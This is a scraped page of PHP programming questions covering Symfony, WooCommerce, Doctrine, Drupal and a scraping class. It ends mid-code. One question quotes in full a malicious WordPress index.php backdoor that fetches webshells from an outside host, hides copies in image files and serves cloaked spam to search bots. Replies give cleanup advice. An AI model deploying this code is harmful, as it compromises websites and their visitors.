Symfony 4 Match Against sort by relevanece - symfony

I want to sort by revelance that mean if i have in db:
FooBa
FooBar
FooB
Foo
and i want to type foo it will be sorted:
Foo
FooB
FooBa
FooBar
public function findBySearchQueryPagin2(string $rawQuery, int $limit = 999, string $sort = "DESC", string $sortBy = "relevance", int $page = 1): pagerfanta
{
$query = $this->sanitizeSearchQuery($rawQuery);
$sort = $this->sanitizeSearchQuery($sort);
$sortBy = $this->sanitizeSearchQuery($sortBy);
$limit = $this->sanitizeSearchQuery($limit);
$page = $this->sanitizeSearchQuery($page);
if(($sort != 'ASC')&&($sort != 'DESC')) $sort = 'DESC';
if(($sortBy != 'date')&&($sortBy != 'name')&&($sortBy != 'relevance')){
$sortBy = null;
} else {
if($sortBy=="name") $sortBy = "primarytitle";
if($sortBy=="date") $sortBy = "startyear";
if($sortBy=="relevance") $sortBy = "relevance";
}
$queryBuilder = $this->createQueryBuilder('p')
->andWhere("MATCH_AGAINST (p.primarytitle, :searchTerms) > 1")
->setParameter('searchTerms', $query)
->setMaxResults($limit);
var_dump($query);
if($sortBy !== "relevance"){
$queryBuilder
->orderBy('p.' . $sortBy, $sort);
}
return $this->createPaginator($queryBuilder->getQuery(), $page);
}

Related

my index.php file on my wordpress website got hacked every time i delete it its coming back

I have this code in my index.php, please help me how to prevent this code from coming back, Is there any way that i can lock my index.php file.
<?php error_reporting(0);
#set_time_limit(3600);
#ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if(isset($_GET['dt'])){
$dt = $_GET['dt'];
}
$site = #$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if(strstr($smuri_tmp, ".php") && !$site){
$uri_arr = explode(".php", $smuri_tmp);
$uri_script = $uri_arr[0].".php?";
$smuri_tmp = $uri_arr[1];
$smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if($smuri_tmp==''){
$smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
#$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
write();
echo "write done!";
exit();
}
$goweb = 'seo601-2.firstok.xyz';
$password = md5(md5(#$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
$add_content = #$_GET['mapname'];
$action = #$_GET['action'];
$domain = #$_GET['domain'];
if($domain){
$host = $domain;
}else{
$host = $_SERVER['HTTP_HOST'];
}
//$host = $_SERVER['HTTP_HOST'];
$path = dirname(__FILE__);
$file_path = $path.'/robots.txt';
if(!$action){
$action = 'put';
}
if($action == 'put'){
$data = 'User-agent: *
Allow: /';
$uri_script = trim($uri_script);
if( $uri_script!= "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";
}
$num = mt_rand(5, 10);
for($i = 0; $i<$num; $i++){
if(trim($uri_script) != "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";
}
}
#chmod("robots.txt", 0755);
file_put_contents("robots.txt", $data);
echo "robots write done!!";
}
if($action == 'del'){
if(file_exists($file_path)){
$data = smoutdo($file_path);
}else{
$data = '';
}
if(strstr($data,'/'.$add_content)){
if(is_https()){
$data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
}else{
$data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
}
if(file_put_contents($file_path,$data_new)) {
echo '<br>ok<br>';
}else{
echo '<br>file write false!<br>';
}
}else{
echo '<br>sitemap does not exist!<br>';
}
}
exit;
}
function is_https() {
if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return true;
} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
$temp = #$_GET['smtemp'];
$id = #$_GET['smid'];
$page = #$_GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = #$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);
if($tempweb){
$site = $tempweb[0].$tempweb[1].$tempweb[2];
$temp = substr($tempweb,3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($_SERVER['HTTP_REFERER'])){
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = $s($urlshang);
}else{
$urlshang = '';
}
if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$clock = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$clock = $_SERVER['REMOTE_ADDR'];
}
$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$http_clock = getenv('HTTP_X_FORWARDED_FOR');
}
if(stristr($clock,',')){
$clock_tmp = explode(",",$clock);
$clock = $clock_tmp[0];
}
if(!isset($sitemap_file) || #$sitemap_file==''){
$sitemap_file = 'sitemap';
}
if(!isset($mapnum) || #$mapnum==''){
$sitemap_file = 2000;
}
if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
#header("Content-type: text/xml");
if(isset($uriarr[1])){
$id = str_replace('_','',$uriarr[1]);
}else{
$id = 100;
}
$ivmapid = 0;
sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
$web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
return trim(smoutdo($web));
}
function sitemap_out($url,$host,$uri_script){
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$date_str = date("Y-m-d\TH:i:sP",time());
$sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
$sitemap_header .= '
<url>
<loc>'.$http.'://' . $host . "/" . '</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
$url_arr = explode("\r\n",$url);
$map_str = $sitemap_header;
foreach($url_arr as $value){
$map_str .= '
<url>
<loc>'.$http.'://' . $host . "/" .$value .'</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
}
if($uri_script != ""){
$map_str = str_replace($host."/",$host.$uri_script, $map_str);
}
echo $map_str."
</urlset>";
}
function get($url){
$contents = #file_get_contents($url);
if (!$contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$contents = curl_exec($ch);
curl_close($ch);
}
return $contents;
}
function write(){
$write1 = get("http://hello.turnedpro.xyz/write1.txt");
$write2 = get("http://hello.turnedpro.xyz/write2.txt");
$shell_postfs = get("http://hello.turnedpro.xyz/mm1.txt");
$shell_load = get("http://hello.turnedpro.xyz/mm2.txt");
$ht_content = file_get_contents(".htaccess");
$index_content = file_get_contents("index.php");
$loader_php = "wp-includes/template-loader.php";
$load_php = "wp-includes/load.php";
$font_editor_php = "wp-includes/SimplePie/font-editor.php";
if(!is_dir("css")){
mkdir("css", 0755, true);
}
file_put_contents("css/load.php", $shell_load);
if(is_dir("wp-includes/SimplePie")){
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
$loader_content = file_get_contents($loader_php);
$load_content = file_get_contents($load_php);
#chmod($loader_php, 0755);#chmod($load_php, 0755);
file_put_contents($loader_php, $write1.$loader_content);
file_put_contents($load_php, $load_content.$write2);
#chmod($loader_php, 0644);#chmod($load_php, 0644);
file_put_contents($font_editor_php, $shell_postfs);
}
}
if(stristr($smuri_tmp,'.css')){
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
#header("Content-type: text/css; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
#header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
#header('HTTP/1.1 404 Not Found');
exit();
}
}
}else if($site){
if($site == 'xml'){
#header("Content-type: text/html; charset=utf-8");
$mapdir = #$_GET['mapdir'];
$maptype = #$_GET['maptype'];
$filetype = #$_GET['filetype'];
$map_splits_num = #$_GET['map_splits_num'];
$map_num = #$_GET['map_num'];
$dataNew = #$_GET['dataNew'];
if($mapdir){
if(!is_dir($mapdir)){
#mkdir($mapdir,0777,true);
echo 'ok '.$mapdir.' success!<br>';
}else{
echo $mapdir.' already exist!<br>';
}
}
if(#$_GET['mapindex']){
$filearray = listDir($mapdir);
if(count($filearray)>=2){
$mapindex_str = '';
$mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
foreach($filearray as $value){
if(stristr($value,'.xml')){
$mapindex_str .= '
<sitemap>
<loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
</sitemap>';
}
}
$mapindex_str .= '
</sitemapindex>';
$xmlname = #$_GET['mapindex'].'.xml';
$myfile = fopen($xmlname, "w");
fwrite($myfile, $mapindex_str);
fclose($myfile);
echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
//echo "<br>".$web;
exit;
}else{
echo 'xml file less number mapindex faile!';
exit;
}
}
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
if(substr($temp,0,8)=='shellxml'){
$xmlname = substr($temp,8).'.xml';
}
if(substr($temp,0,7)=='hackxml'){
if(substr($temp,7)){
$xmlname = substr($temp,7).'.xml';
}
}
if(#$_GET['mapdir']){
if($filetype==1){
$xmlname = $xmlname.'.gz';
}else if($filetype==2){
if(function_exists('gzopen')) {
$xmlname = $xmlname.'.gz';
if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
gzwrite ($fp, $xml);
gzclose($fp);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
gzclose($fp);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
echo '<font style="color:red">gzopen no exists!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
echo "<br>".$web;
exit();
}
}
if(fopen($mapdir.'/'.$xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($mapdir.'/'.$xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
if(fopen($xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}
}
}
if($id){
#header("Content-type: text/html; charset=utf-8");
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
#header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
#header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}else{
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if($uri_script != ""){
$html_content = str_replace($host."/",$host.$uri_script, $html_content);
}
if(!strstr($html_content,'nobotuseragent')){
#header("Content-type: text/html; charset=utf-8");
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
#header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
#header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($html_content,'getcontent301page')){
#header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page",'',$html_content);
header('Location: '.$html_content);
exit();
}
}
}
function smisbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
foreach ($googleBot as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smotherbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
foreach ($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smoutdo($url){
$file_contents = #file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
function listDir($dir){
$filearr = array();
if(is_dir($dir)){
if ($dh = opendir($dir)){
while (($file = readdir($dh)) !== false){
if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
$filearr[] = $file;
}
}
closedir($dh);
}
}
return $filearr;
}
?>
Check if you have a cronjob that has been downloading a file from the domain hello.turnedpro.xyz.The cron job downloads a bash script via wget that executes in your webroot and downloads a webshell and the .htaccess file
Are you using c-panel to host your website?
After removing the cron-entry as described in this answer by swar3z you either have to restart the machine to remove malware-processes still running or - if that's not possible - search for a process called 'lock666.php' or similar and kill it with kill -9 lock666.php.
The latter solved the problem for me.

Woocommerce product adons update price programatically

I'm setting up WooCommerce bookings with the WooCommerce Product Add-Ons plugin to make a bookable product with pickup and return time.
It works pretty well but the only issue is the corresponding price will not automatically update when the customer will change the time which is made with WooCommerce Product Add-Ons plugin.
It only updates when the booking calendar is changed. Here is the custom code.
add_filter( 'booking_form_calculated_booking_cost', 'wdm_add_hotel_booking', 10, 3);
function wdm_add_hotel_booking( $cost, $book_obj, $posted ) {
$product = wc_get_product($posted['add-to-cart'] );
$product_id = $posted['add-to-cart'];
$qntytxt = $product_id+1;
$qnty = $posted['wc_bookings_field_persons_'.$qntytxt];
$product = wc_get_product( $product_id );
$rent = $product->get_price();
$start_date_month = $posted['wc_bookings_field_start_date_month'];
$start_date_day = $posted['wc_bookings_field_start_date_day'];
$start_date_year = $posted['wc_bookings_field_start_date_year'];
$to_date_month = $posted['wc_bookings_field_start_date_to_month'];
$to_date_day = $posted['wc_bookings_field_start_date_to_day'];
$to_date_year = $posted['wc_bookings_field_start_date_to_year'];
$time = strtotime($start_date_month.'/'.$start_date_day.'/'.$start_date_year);
$fromDate = date('Y-m-d',$time);
if($to_date_month !=""){
$time = strtotime($to_date_month.'/'.$to_date_day.'/'.$to_date_year);
$ToDate = date('Y-m-d',$time);
}else{
$ToDate = $fromDate;
}
$pickup_time = $posted['addon-'.$product_id.'-pick-up-time-0'];
$return_time = $posted['addon-'.$product_id.'-return-time-1'];
if(isset($pickup_time) && ($pickup_time!="")){
$ptimeRange = explode("-",$pickup_time);
$ptimeRangelevel = $ptimeRange[2];
}
if(isset($return_time) && ($return_time!="")){
$rtimeRange = explode("-",$return_time);
$rtimeRangelevel = $rtimeRange[2];
}
if($ptimeRangelevel!="" && $rtimeRangelevel!=""){
$ts1 = strtotime($fromDate);
$ts2 = strtotime($ToDate);
$timeDiff = abs($ts2 - $ts1);
$numberDays = $timeDiff/86400; // 86400 seconds in one day
// and you might want to convert to integer
$numberDays = intval($numberDays);
if ($rtimeRangelevel<=$ptimeRangelevel){
if($numberDays>0){
$ActuvalCnt = $numberDays;
$ActualPrice = $ActuvalCnt * $qnty * $rent;
if($rtimeRangelevel < $ptimeRangelevel) {
if($numberDays>1){
$cost = $ActualPrice;
$ActualPrice = $ActuvalCnt * $qnty * $rent;
$cost = $cost - $ActualPrice;
if ($rtimeRangelevel < $ptimeRangelevel) {
echo $ActualPrice = ($ActuvalCnt + 1 ) * $qnty * $rent;
$cost = $ActualPrice - ($rent*$qnty);
}
}else{
$ActualPrice = $ActuvalCnt * $qnty * $rent;
$cost = $cost - $ActualPrice;
}
}else{
$ActualPrice = $ActuvalCnt * $qnty * $rent;
$cost = $ActualPrice;
}
}
} else {
$ActuvalCnt = $numberDays + 1;
if (($ActuvalCnt > 2) && ($rtimeRangelevel != $ptimeRangelevel)){
$ActualPrice = $ActuvalCnt * $qnty * $rent;
$cost = $ActualPrice - $rent;
if ($rtimeRangelevel > $ptimeRangelevel) {
$cost = $ActualPrice;
}
}
}
}
return $cost;
}
// clear checout cache
add_filter('woocommerce_checkout_get_value','__return_empty_string', 1, 1);

Doctrine doesn't find the rows just flushed

I have 3 entities: Subjects, Sections, Questions. Everyone has relations with the rest. I am trying to get the questions of the current $user. If there are none, I make a copy of the default ones with user = NULL.
But Doctrine gives me headaches. Initially it wouldn't get questions with null user. Now after flushing the new questions in the database it won't get them (they are inserted correctly).
Probably there is something that I don't see.
Why won't it retrieve the new questions?
<?php
public function getProfileQuestionsForUser( $user ) {
$queryBuilder = $this->createQueryBuilder( 's' );
$query = $queryBuilder
->select( 's, sc, q' )
->leftJoin( 's.sections', 'sc' )
->leftJoin( 'sc.questions', 'q', 'WITH', 'q.user = :USER' )
->where( 's.type = :TYPE' )
->setParameter( 'USER', $user )
->setParameter( 'TYPE', 'profile' )
->getQuery();
$sql = $query->getSQL();
/** #var SubjectEntity $result */
$result = $query->getOneOrNullResult();
$hasQuestions = false;
foreach ( $result->getSections() as $section ) {
$qs = count($section->getQuestions());
if ( count( $section->getQuestions() ) ) {
$hasQuestions = true;
break;
}
}
if ( $hasQuestions == false ) {
$queryBuilder = $this->createQueryBuilder( 's' );
$query = $queryBuilder
->select( 's, q, sc' )
->leftJoin( 's.sections', 'sc' )
->leftJoin( 's.questions', 'q', 'WITH', 'q.user IS NULL' )
->where( 's.type = :TYPE' )
->setParameter( 'TYPE', 'profile' )
->getQuery();
$sql = $query->getSQL();
/** #var SubjectEntity $subject */
$subject = $query->getOneOrNullResult();
if ( ! empty( $subject ) ) {
/** #var QuestionEntity $question */
$qs = count( $subject->getQuestions() );
foreach ( $subject->getQuestions() as $question ) {
$new_question = clone $question;
$new_question->setUser( $user );
$new_question->setAnswers( new ArrayCollection() );
$new_question->setQuestionStatuses( new ArrayCollection() );
$new_question->setOptions( new ArrayCollection() );
$this->getEntityManager()->persist( $new_question );
}
$this->getEntityManager()->flush();
// Retrieve new questions from DB
$queryBuilder = $this->createQueryBuilder( 's' );
$query = $queryBuilder
->select( 's, sc, q' )
->leftJoin( 's.sections', 'sc' )
->leftJoin( 'sc.questions', 'q', 'WITH', 'q.user = :USER' )
->where( 's.type = :TYPE' )
->setParameter( 'USER', $user )
->setParameter( 'TYPE', 'profile' )
->getQuery();
$sql = $query->getSQL();
$result = $query->getOneOrNullResult();
}
}
return $result;
}
Maybe something like this will work:
//In your Question entity add this
public function __clone() {
$this->id = null;
}
And modify your code like this:
foreach ( $subject->getQuestions() as $question ) {
$new_question = clone $question;
$this->getEntityManager()->detach($new_question);
$new_question->setUser( $user );
$new_question->setAnswers( new ArrayCollection() );
$new_question->setQuestionStatuses( new ArrayCollection() );
$new_question->setOptions( new ArrayCollection() );
$this->getEntityManager()->persist( $new_question );
}
$this->getEntityManager()->flush();
UPDATE
Hum, Here there is a more complete answer

Drupal Upgrade:: Need to rewrite pagerquery to version 7

I need to rewrite pagerquery, i have tried out several options adding tags, extend(PagerDefault) but nothing worked for me:
Please help.
My version 6 code is:
$sql = 'SELECT DISTINCT(n.nid), n.sticky, n.title, n.created FROM {node} n '.$sort_join.' WHERE n.uid = %d AND n.type = "case" AND n.status = 1 ORDER BY '. $order;
$sql_count = 'SELECT COUNT(DISTINCT(n.nid)) FROM {node} n WHERE n.uid = %d AND n.type = "case" AND n.status = 1';
$args = array('uid' => $user->uid);
$sql = db_rewrite_sql($sql);
$sql_count = db_rewrite_sql($sql_count);
if ($pager) {
$result = pager_query($sql, variable_get('default_nodes_main', 10), 0, $sql_count, $args);
dsm($result);
}
else {
$result = db_query_range($sql, $args, 0, variable_get('feed_default_items', 10));
}
$num_rows = FALSE;
while ($node = db_fetch_object($result)) {
$output .= node_view(node_load($node->nid), 1);
$num_rows = TRUE;
}
Without knowing the name of your join table this isn't complete, but should get you started:
$query = db_select('node', 'n')
->fields('n', array('nid', 'sticky', 'title', 'created'))
->condition('n.uid', $user->uid)
->condition('n.type', 'case')
->condition('n.status', 1)
->extend('PagerDefault')
->limit(variable_get('default_nodes_main', 10))
->addTag('node_access')
->orderBy('col_name');
$query->join('table_to_join', 'table_alias', 'table_alias.nid = n.nid');
foreach ($query->execute() as $row) {
// Do what you need to
}
if ($vidw == 'my_cases' or $vidw == 'my') { // including private
switch ($sort_by) {
case 'rated':
$order = 'n.sticky DESC, vc.value DESC';
$sort_join = 'LEFT OUTER JOIN {votingapi_cache} vc ON n.nid = vc.content_id AND vc.content_type = "node" AND vc.function = "average"';
break;
case 'discussed':
$order = 'n.sticky DESC, nc.comment_count DESC';
$sort_join = 'LEFT OUTER JOIN {node_comment_statistics} nc ON n.nid = nc.nid';
break;
case 'viewed':
$order = 'n.sticky DESC, nc.totalcount DESC';
$sort_join = 'LEFT OUTER JOIN {node_counter} nc ON n.nid = nc.nid';
break;
case 'recent':
default:
$order = 'n.sticky DESC, n.created DESC';
$sort_join = '';
break;
}
// from taxonomy_select_nodes
$sql = 'SELECT DISTINCT(n.nid), n.sticky, n.title, n.created FROM {node} n '.$sort_join.' WHERE n.uid = %d AND n.type = "case" AND n.status = 1 ORDER BY '. $order;
$sql_count = 'SELECT COUNT(DISTINCT(n.nid)) FROM {node} n WHERE n.uid = %d AND n.type = "case" AND n.status = 1';
$args = array('uid' => $user->uid);
$sql = db_rewrite_sql($sql);
$sql_count = db_rewrite_sql($sql_count);
if ($pager) {
$result = pager_query($sql, variable_get('default_nodes_main', 10), 0, $sql_count, $args);
}
else {
$result = db_query_range($sql, $args, 0, variable_get('feed_default_items', 10));
}
// $output .= taxonomy_render_nodes($result);
$num_rows = FALSE;
while ($node = db_fetch_object($result)) {
$output .= node_view(node_load($node->nid), 1);
$num_rows = TRUE;dsm($output);
}
if ($num_rows) {
$output .= theme('pager', NULL, variable_get('default_nodes_main', 10), 0);
}
else {
$output .= '<p>'. t('There are currently no visible cases in this category.') .'</p>';
}
}
In above drupal 6 code, i have updated the query which gives me result but node_view() and theme() does not work.

simple html dom - cannot redeclair str_get_html()

Im trying to make a class to help with SEO and also compare google API with actual results
class:
<?php
class true_seo {
public $string, $amount;
private $arr;
public function __construct(){}
public function set_g_key( $key ) {
$this->g_key = $key;
}
public function set_phrase( $string ){
if( is_string ( $string ) ) {
$string = array( $string );
}
if( is_array ( $string ) ) {
$this->phrases = $string;
}else{
Throw new exception("incorect input for phrase, string or array");
}
}
public function get_sites_use_spider( $amount ) {
require "simple_html_dom.php";
$main_result = array();
foreach( $this->phrases as $phrase ) {
$APIparams = array("key" => $this->g_key, "q" => $phrase, "start" => 0, "maxResults" => $amount, "filter" => true, "restrict" => "", "safeSearch" => false, "lr" => "lang_en", "ie" => "", "oe" => "");
$data = true_seo::google_search_api( $APIparams, 'http://www.google.co.uk/search', false );
new simple_html_dom();
$html = str_get_html( $data );
$result = array();
foreach( $html->find('li.g h3 a') as $g ) {
$data = $g->parent()->nextSibling();
$other = $data->find('span a');
$x = 0;
foreach( $other as $d ) {
( $x == 0 ? $cache = $d->href : $simular = $d->href );
$x++;
}
$excess_span = $data->find('span',0)->outertext;
if( isset( $data->find('div',0)->tag ) ) {
$excess_div = $data->find('div',0)->outertext;
$title = str_replace( array( $excess_span, $excess_div, '<em>', '</em>', '<br>', '<b>', '</b>' ), array( '','','','','','','' ), $data->outertext );
}else{
$title = str_replace( array( $excess_span, '<em>', '</em>', '<br>', '<b>', '</b>' ), array( '','','','','','' ), $data->outertext );
}
$result[] = array( 'link' => $g->href, 'title' => strip_tags( $title ), 'cache' => $cache, 'simular' => 'http://www.google.co.uk' . $simular );
}
$main_result[$phrase] = $result;
$html->clear();
}
$this->non_api_data = $main_result;
}
public function get_sites_use_api( $amount ) {
$arr = array();
foreach( $this->phrases as $phrase ) {
if( $amount > 4 ) {
$times = $amount / 4;
}else{
$times = 1;
}
$arg = array();
for($x = 0; $x < $times; $x++ ) {
$APIparams = array("key" => $this->g_key, "q" => $phrase, "start" => ($x * 4), "maxResults" => 4, "filter" => true, "restrict" => "", "safeSearch" => false, "lr" => "lang_en", "ie" => "", "oe" => "");
if( $data = true_seo::google_search_api( $APIparams, 'http://ajax.googleapis.com/ajax/services/search/web' ) ) {
$arg = array_merge($arg, $data->responseData->results);
}else{
Throw new exception("Request error: no results returned from Google.");
}
}
$arg = array_reverse( $arg );
$remove = $amount % 4;
if( $amount < 4 ) {
$remove = 4 - $amount;
}
for( $x=0; $x < $remove; $x++ ) {
unset( $arg[$x] );
}
$arg = array_reverse( $arg );
foreach( $arg as $g ) {
